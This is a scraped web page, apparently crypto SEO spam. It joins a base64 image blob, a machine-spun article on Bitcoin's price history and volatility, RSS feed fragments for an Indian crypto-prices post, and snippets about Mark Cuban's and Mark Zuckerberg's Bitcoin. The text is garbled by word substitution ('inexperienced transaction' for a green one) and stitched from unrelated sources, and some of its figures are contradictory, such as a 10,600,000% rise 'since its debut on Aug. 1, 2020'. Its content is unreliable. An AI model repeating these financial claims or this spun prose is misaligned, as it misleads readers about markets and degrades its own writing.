5jE6ZMUvHuKMPcG1mfi+or+HzZbZ85V2uU2tbtjGtI4tBLBdd+jiZKWtqZMm9zYkD0ufZXWCKdgzR7N4VTNpqOPMTYg4SUFBqU6pRZy5r5Mtt9xe/ciGWkDRtX8XLkVYd0l13DAlQ4HhKOrXwjNltmusWy5Tb5xisvkDM2TXuuP7LcbS0jqnqTOAz8eV1tr7AZt9NvZX6COAVjQRppSpoUDsgay6ix1hnHn2yDzWyLVcRCzmg7snEKSJDTdrk25Reqs42QfEAhV/PGs6rmbvC71H1XaiwDDpgCMRjHNrx82r0zBHJ9G+AtLmH6I/J40xwiqTq5pTjbyahMOhLRSkBN1oB3hRta22LzI4fqOpPGdcntbm2aiZOXLYd0L3veNqORz2glpHNceroIKWRzGTteBxF9eWin4IbSUiJNotGbmZi6s2Z5zMoeK+zZGkzSpWac1rrs4lVrWbnHmx5kqAizVc+zQ6xOieQRy7GOiDFeIq45U6FpjxJh+UW2hKZKXdccQkgWKsynQdu+K89oF0o57M9kRibIBszay58zsarp5mkgRE+Y+q7cGGYdKxrn1rWkjUFkmnho0j0JXcoI8v13Q32TstU3WMP6V56ekEBOqmH6u8ytd0gqujlWsSRvNwLxx7G+NdN+AsSTWE67pGrfD5EN67UVR1aLrQFixuL8lQjTmxU04vLE4DbgvRYd0FZi7slFXRPda9hmuBpqRa43G6+gB3fXDF2Sfl1rmaWpCVrN1sOEhpZ6RbtFHpAPjB3x88nNMmlcZbaRsRbUg/GLvXA7pk0sBQA0jYiHJSfjF3oHjilvSKJuzD7Lqu/ZJXv3qGejvovoamsSqCpuof0FxG0pfUEpI6UqvlUPruOcCHErPyM8krkZxiYSN5acCx+yPnbNaY9K6HUhOkXEQGrbOyoO7ygE88epcMTD1ewbQZyuOGoPzFKlHXnJn4VS1qZSVKJVe5JJMb1Ji1PWOLQ0ttyPt+q4WNdAK/BImSPmY/NpsR7/ou4PMMTCcj7LbiehaQofthqikssXElMzMskkchDmZAA3BKVXCR4kgRy+VYTTkaqmuPSTZsSiVdUynzIIEPJl+eE26gVaphIdIAE+8Nl/nRsvdA519edhf5rgswmraLZhrwubfL8l0NyWrCFAytTZWnNdSZiXzEjoBQpNvKQYwZiqJeSXKa0rYr9FMZtlxt5SU7fF+2KKmn4gTN3RMV4ILlts1MEWv41ERhumY1bmmzL1arIsvtXyXWyL7b3sq3kUIkNjv8AA4jn9uVLqKVo+PIeR/8Ayr4mrtpUETknOSqiSBrGsybDnK0ZkpHlIhwxPyU0rJLTbLqgMxSlYJA6bb48P4Xq3ZNDE1I4yTpDclOHS/CEuNzYSpvWJzBWYBNrXvcgdMReHsQ6aqtieiy2I5rF85IqqMuH25tuYcbLZcTmBBBFrXvHL/xGUAFrC6/K/nb6L2J6CMu4OqmDKLne3HQXFidNsy99wRyNqquMvsyrlcn5RTig2hl2cdaPiAQsi3mifpcli9mbZ4VN1N5ouoKta4LBNxcbLXHlvHUzytIEjCL/AH4Lx5w6Iglk7Tbx/ur7BGuQdKvSMGQdKvSMWrlLCO2c+d/ARvCSEDM5tV23dHoEb5B0q9IwUKKxP8Ws/SNP/FtRIrnZNtRS5NspIcS0QXACFqtlT5TcWG83EReK2UOUppCisBVQkAcq1A/7W1zg3EJP4LpD84udU5NBTkymaWgO8lSxa1wRu3+PlHxWKVPxB4e+N8TfSrf4GViciDw98b4m+lW/wMrBElhxxCa1isKWkHjdvef+QlImw61rlfCI7VPOOkxWqHSKTO17Fj85S5R9zjdoZ3WEqVbgEpsuRGzNMpKsRuSgwXJJbU2pC5pTYy5WwhSbJyZdpeUN4PIVvsLEVm1zXfUekINc131HpCGPudw/4Cp/sqOqD3O4f8BU/wBlR1QRPtc131HpCDXNd9R6Qhj7ncP+Aqf7Kjqg9zuH/AVP9lR1QRPtc131HpCDXNd9R6Qhj7ncP+Aqf7Kjqg9zuH/AVP8AZUdUETpp1rO78IjtxzjuRCmua76j0hFSwzK4eqk3PgYLZlFEMzDjrkvmadWoKRZsqSByUsouABYq2gG5M/7ncP8AgKn+yo6olQn2ua76j0hBrmu+o9IQx9zuH/AVP9lR1Qe53D/gKn+yo6ohSn2ua76j0hBrmu+o9IQx9zuH/AVP9lR1Qe53D/gKn+yo6oIn2ua76j0hGA61YfCo9IRE1Gl4ep8twg4cknSVobShEogkqUoJG5Ozfv3RGYQXh7FNJFSTgoUxOdTaWZ6RQ27ZJKbkEc5Bt4oIrVrmu+o9IQa5rvqPSEMfc7h/wFT/AGVHVB7ncP8AgKn+yo6oIn2ua76j0hBrmu+o9IQx9zuH/AVP9lR1Qe53D/gKn+yo6oIn2ua76j0hBrmu+o9IQx9zuH/AVP8AZUdURmJpSj0GgT9ZlMHylRek2FOtyjUugLfUNyEnKbE+SCKw65rvqPSEGua76j0hDH3O4f8AAVP9lR1Qe53D/gKn+yo6oIn2ua76j0hBrmu+o9IQx9zuH/AVP9lR1Qe53D/gKn+yo6oIn2ua76j0hEVPYYwhU5pc7UsPUebmHLZ3n5RpxarCwuogk7ABC/udw/4Cp/sqOqD3O4f8BU/2VHVEFodoQs45JIjmjcQfDRV2c0S6J559c1NYDw846sjMoyTYv5hHEMY9h67XcT1Gr0LFdKpVPmniuXkkSirMIsLJFlAR3mvy9MpS2USuCJOeDidYpSWm0BADzKCLlO05XFLA3q1ZSNpiY9zuH/AVP9lR1Rqz0FPUCz2+mnyXdwzpTi+EvL6aY3It8XxC3gHXAXi6r9ibpVRUXmqe1TJuWaIbaf4ahvWpSAArKTdN7XsY9Q4N0dt0vB9CplUni3OydMlZeYQhSVJS6hpKVAHnFwdsXD3O4f8AAVP9lR1Qe53D/gKn+yo6orpsNgpXFzL695W7i/TXFcaiZFUFoycWixOltdSPQBNW8MYdS2lLjCXFJSAVF5QKjbfsNolQJQd6/ZDT3O4f8BU/2VHVB7ncP+Aqf7KjqjeDQNgvLyTyy9txPMp9rWu+o9IRoXWtcn4RHannHSIae53D/gKn+yo6ogVS1BVitNNGD5AhsFnhOUABKkaxXIKLHalAvc9sbHkrAyVKtmua76j0hBrmu+o9IQx9zuH/AAFT/ZUdUHudw/4Cp/sqOqIUp6tcutJQtbaknYQSCDCUsxTZIKTJsyzAWcyg0lKcx6TbeYb+53D/AICp/sqOqD3O4f8AAVP9lR1ROYgWUZQTdPtc131HpCDXNd9R6Qhj7ncP+Aqf7Kjqg9zuH/AVP9lR1RClPEOtZl/CI7bpHQI21zXfUekIqNFZpc9XJ2RVgOUYlgXFidytrQ4tC9VlyFIUglKQRsynaQT2xsHudw/4Cp/sqOqJUJpiyblWKS289MtNtoqEgVKUsAAcLa2kmM1jGeGqEsMz9UaDpJGqbOdYsEk3A3WCknbzGGmJsP0FNNZKaJTweMJAbJZG4zbXiiRdwphZ9SVP4apTik9qVybZI8lxEKVpTsWUSqPSsvKTCi5NoW42lSCDZJ236DsJHiBhPD3xvib6Vb/AysLt4Uwu0QprDdKQRuKZNsfwhnhWUlZKpYmYk5ZphsVZByNICU34FK8wgi2TT8PKr0/KS1acaqk3kn5qUZqBS5lyJZS6WgbpSQ0lN7WJSee8OOKpLhHBOOZ/X5NZquHKz5L2zWve19l4gcU6IsHYxfmnq0xMLTNviccaDgLfChLKlg/lUCCrUqCLG6SEi6TdWaB/7NujTWOPGVm1OOvqfWpSmlZlFSVWsUWAGWwAAte4sUoKSK9NU+nPtOPs1ueW20tba1ieXZK0KKVAm+wggg+SG7IoEzS1VuVxNMv09Let4U1UVLaKMubMFA2IsQbjmMVoaAtHOWmBdPmVcWa3LZ8oS+Fuqes6lACVhLq1OIFrJUbgQvTdCWCqFh4Ydw81MUxlLMuwlxhYC8jAUloHZZWVKiAVAnYDvF4zjDS8B5sOKqmdI2NxiF3W0G2qk6VVcI1qUdnqdi6YcZYWG3VKn1o1aibAKCiCCTuvviVepUlLth5+r1BtBUlIUqdWBdRASL35yQPriGoGjWnUCfRPMVWedyoAcbUpKUvOBaVa1yw5S7pTt8Xlu/dwLh95QUphwAFghKV2HwN8n7SSenzxsSMpQ/4HG3L+y06eSuMQMzG5uenPj6XTp2kyTGUv1ifbzEhOeeWL2BJtc9AJ+qN00SXWkLRVKkpKhcETqyCOnfEdI4ColPmEuMBeqbS0lpvZ8GUWFwrftAII3G56YVpuB6BSlyzkoy4DKKzNXXuOUJ22HK2Debnadu6MHMhGzj6fqrmyVJIzMA/q/TX2T3iJrwlU/bF9cHETXhKp+2L64k4I11tqM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKM4ia8JVP2xfXBxE14Sqfti+uJOCCKHmcMSc42GpieqS0JcbdA4a52yFhaTv5lJB+qFeImvCVT9sX1xJwQRRnETXhKp+2L64VplIlKSZpUsp9a518TDy3nVOKUvVobvc7hlbSLeKH0EEX/9k=" width="305px" alt="btc worth"/></p>
<p>A red transaction signifies that an ask order was accomplished, while a inexperienced transaction signifies that a bid order was completed. Some critics who argue that bitcoin is too volatile still see potential for the blockchain system to be broadly used. Meanwhile, bitcoin’s supporters see a worldwide monetary system sea change under <a href="https://bitcoin.org/">btc worth</a> means that&#8217;s buttressed by all the capabilities of cryptocurrency. As the first cryptocurrency, Bitcoin’s lengthy price historical past should come as no shock. Bitcoin was created in 2009 by Satoshi Nakamoto, an alias for a person or group who has nonetheless not been revealed.</p>
<p>Because Bitcoin remains to be a comparatively small market in comparison with what it could possibly be, it would not take vital amounts of cash to move the market price up or down, and thus the value of a bitcoin is still very risky. Bitcoin is designed to be a huge step forward in making money safer and will <a href="https://en.wikipedia.org/wiki/Bitcoin">btc worth</a> additionally act as a big protection towards many types of financial crime. For instance, bitcoins are fully impossible to counterfeit. Users are in full management of their funds and cannot receive unapproved charges corresponding to with bank card fraud. Bitcoin transactions are irreversible and proof against fraudulent chargebacks.</p>
<p>The estimates differ however traders ought to assume that roughly 3.7 million BTCs are already lost or irrecoverable. We know where they&#8217;re on the blockchain but nobody can get to them for 1 of 2 reasons. The first is that they&#8217;re actually misplaced as a result of password protection and/or misplaced devices. Some operations on blockchains require you to lock or “burn” cash. This basically loses cash on function however in a method that spawns new worth. For instance, if we wished to launch our own cryptocurrency we may burn $1 million value of BTC and produce 1 million $1 MarketBeat Coins. As technical as cryptocurrency and Bitcoin markets are there are some fundamentals driving the market. These embrace cryptocurrency’s rising mainstream acceptance, the quantity of energy put into mining the coin, and its availability to call a few.</p>
<p>Author: <a href="https://www.beaxy.com/author/james-messi/">James Messi</a></p>
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		<title>Cryptocurrency Prices In India Today 20th December</title>
		<link>https://heilpraktiker-pruefung.com/cryptocurrency-prices-in-india-today-20th-december/</link>
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		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Wed, 24 Nov 2021 07:17:33 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=1024</guid>

					<description><![CDATA[Content Coinbase Is Listing For Us$100 Billion On Nasdaq, But You Might Be Better Buying Bitcoin Instead Find News Research Suggest Bitcoin Price Rally In 2017 December Was Manipulated With the end of the year approaching, most investors will probably liquidate positions to present decent annual performances, one observer said. A physical commodity, such as gold, [&#8230;]]]></description>
										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">Coinbase Is Listing For Us$100 Billion On Nasdaq, But You Might Be Better Buying Bitcoin Instead</a></li>
<li><a href="#toc-1">Find News</a></li>
<li><a href="#toc-3">Research Suggest Bitcoin Price Rally In 2017 December Was Manipulated</a></li>
</ul>
</div>
<p>With the end of the year approaching, most investors will probably liquidate positions to present decent annual performances, one observer said. A physical commodity, such as gold, is limited to what&#8217;s already been dug up from the ground and what remains to be mined on Earth. Only written code caps its token limit, and changes can be made if consensus is reached. You might be wondering how any investment gains nearly 8 billion percent in a little over 11 years. Has galloped higher by more than 10,600,000% since its debut on Aug. 1, 2020.</p>
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<h2>Does Mark Cuban own Bitcoins?</h2>
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<p>Mark Cuban: Bitcoin and dogecoin</p>
<p> Cuban also owns bitcoin and other altcoins like ether, according to CNBC.</p>
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<p>Because of the fears of inflation and reduction of value of the US dollar, many institutions also decided to buy into Bitcoin, propelling it to never-before-seen heights. In fact, in December 2020, Bitcoin&#8217;s value was just under $24,000. From the beginning of the year, that meant it increased in value by 224%. Meaning that even small issues like software updates can take a long time. FAQ Get answers to popular questions about the platform and trading conditions. At the time of writing, BTC displays strength in the daily chart as the bulls attack the resistance at current levels.</p>
<h2 id="toc-0">Coinbase Is Listing For Us$100 Billion On Nasdaq, But You Might Be Better Buying Bitcoin Instead</h2>
<p>This is because crypto prices can vary slightly across providers, so using a single source for this information is very important. Reuters, the news and media division of Thomson Reuters, is the world’s largest multimedia news provider, reaching billions of people worldwide every day. Reuters provides business, financial, national and international news to professionals via desktop terminals, the world&#8217;s media organizations, industry events and directly to consumers. Not only did it come out of a low, but it beat its previous all-time high to set a new record. As an example, BTC software can currently handle only about three transactions per second. However, as the numbers of users increase, disgruntled and frustrated users can rally behind competitive services in protest, driving prices down. During the pandemic sell-off in 2020, the price of bitcoin fell 49% from its peak to its trough (the S&#038;P 500 index, by contrast, dropped 34%). And few holders are likely to forget its 83% fall between December 2017 and December 2018. Because bitcoin doesn’t generate any cash flow or earnings—and never will—its price is driven purely by demand, so it’s speculative. “Be prepared to lose the entirety of your principal,” says Thomas Stapp, a certified financial planner in Olympia, Wash.</p>
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<h2>Does Mark Zuckerberg have Bitcoin?</h2>
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<p>Answer: Yes, yes he does.</p>
<p> Facebook CEO Mark Zuckerberg dropped a pretty big personal tidbit on Tuesday via the social platform: He has a goat named Bitcoin. His other goat, who was also featured, is named Max.</p>
</div></div>
</div>
<p>NerdWallet does not and cannot guarantee the accuracy or applicability of any information in regard to your individual circumstances. Examples are hypothetical, and we encourage you to seek personalized advice from qualified professionals regarding specific investment issues. Our estimates are based on past market performance, and past performance is not a guarantee of future performance. TheStreet interviewed Ong about the state of crypto, his views on hot crypto projects like those digital art &#8222;non-fungible tokens,&#8220; the risks awaiting novice investors, and why bitcoin could hit $100,000 this year. Following is a lightly edited version of the exchange, which was conducted over email. Individuals are allowed to use which currency they want as long as both parties agree on the same means of payment. However, there are countries that have indirectly or partially prohibited cryptocurrency. The reason for this varies, but generally, the government wants more control over the financial market.</p>
<h2 id="toc-1">Find News</h2>
<p>That’s why you’ll see different “prices” on different exchanges. For example, since Bitstamp has different exchanges going on than Coinbase Pro, each of these exchanges will show a different price for Bitcoin. Bitcoin’s price surged Wednesday after billionaire Elon Musk tweeted that the cryptocurrency could now be used to purchase Tesla vehicles. Roughly 5.23 million addresses purchased 3.13 million BTC at an average price of $38,283. Therefore, a weekly close below this level will cause panic selling among investors that could drag the big crypto down to sub-$30,000 levels. The total value of Bitcoins held by MicroStrategy is worth $5.76 billion, which indicates a profit of roughly 56%.<br />
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